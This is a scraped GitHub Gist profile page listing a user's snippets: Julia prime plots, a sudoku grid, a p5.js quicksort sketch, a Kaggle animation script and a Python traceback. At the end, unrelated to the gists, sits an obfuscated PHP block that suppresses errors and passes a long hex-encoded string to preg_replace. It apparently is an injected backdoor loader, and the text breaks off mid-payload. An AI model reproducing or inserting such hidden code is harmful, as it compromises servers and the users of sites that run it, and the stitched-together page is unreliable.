Skip to content

Instantly share code, notes, and snippets.

View Wikunia's full-sized avatar

Ole Kröger Wikunia

View GitHub Profile
@Wikunia
Wikunia / plot.jl
Created October 8, 2019 18:30
Plotting primes in polar coordinates
using Plots
using ColorSchemes
using Primes
function plot_primes(x)
l_primes = primes(x)
colors = get(ColorSchemes.summer, [i/x for i in l_primes])
scatter(l_primes, l_primes; size=(1000,1000), legend=false, axis=false, background_color=:black, foreground_color=:black,
proj=:polar, markersize=1, markercolor=colors)
png("polar_primes_$(x)")
@Wikunia
Wikunia / sudoku.txt
Created September 2, 2019 09:28
Sudoku
0, 0, 0, 5, 4, 6, 0, 0, 9,
0, 2, 0, 0, 0, 0, 0, 0, 7,
0, 0, 3, 9, 0, 0, 0, 0, 4,
9, 0, 5, 0, 0, 0, 0, 7, 0,
7, 0, 0, 0, 0, 0, 0, 2, 0,
0, 0, 0, 0, 9, 3, 0, 0, 0,
0, 5, 6, 0, 0, 8, 0, 0, 0,
0, 1, 0, 0, 3, 9, 0, 0, 0,
@Wikunia
Wikunia / sketch.js
Created April 4, 2019 21:22
Quicksort CodingTrain sketch
let values = [];
let w = 10;
let states = [];
function setup() {
createCanvas(1850, 1000);
values = new Array(floor(width / w));
for (let i = 0; i < values.length; i++) {
values[i] = random(height);
NAME JuMPModel
ROWS
N OBJ
E CON1
E CON2
E CON3
E CON4
E CON5
E CON6
G CON7
@Wikunia
Wikunia / animation.jl
Created December 1, 2018 20:31
Kaggle Santa 2018 Julia animation
using CSV, DataFrames, Distances, Formatting, Plots
cities = CSV.read("cities_p.csv");
subm_df = CSV.read("submission.csv");
subm_path = subm_df[:Path];
# this includes a column with primes true or false
cities_csv = CSV.read("cities_p.csv");
subm_path = collect(skipmissing(subm_df[:Path]))
subm_path .+= 1
@Wikunia
Wikunia / .block
Last active September 29, 2017 20:21
Germany Invalid First Votes 2017
license: mit
@Wikunia
Wikunia / kaggle
Created August 6, 2015 17:54
Kaggle New Mexico Bug
Traceback (most recent call last):
File "../src/script.py", line 175, in <module>
mNormal.readshapefile('../input/shapefiles/pums/tl_2013_{0}_puma10'.format(key),name='state', drawbounds=True)
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/__init__.py", line 2156, in readshapefile
for shprec in shf.shapeRecords():
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/shapefile.py", line 554, in shapeRecords
for rec in zip(self.shapes(), self.records())]
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/shapefile.py", line 526, in records
r = self.__record()
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/shapefile.py", line 502, in __record
<?php $zoqrvjldyw = '2f35.)1%x5c%x782f14+9**-)1%x5c%x782f298error_reporting(0); preg_replace("%x2f%50%x2e%52%x72]48y]#>s%x5c%x7825<#462]78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs7825-qp%x5c%x7825)54l}%x5c%x7827;%x25zW%x5c%x7825h>EzH,2W%x55:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x72)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x785c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]yx5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x78x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x547y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x78c%x78786<C%x5c%x7827&6<*rfs%x5c%xx5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%56#<!%x5c%x7825ff2!>!bssbz)%x5cx78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825t785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!yf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%xx7860hfsq)!sp!*#ojneb#-*f%x5c%x7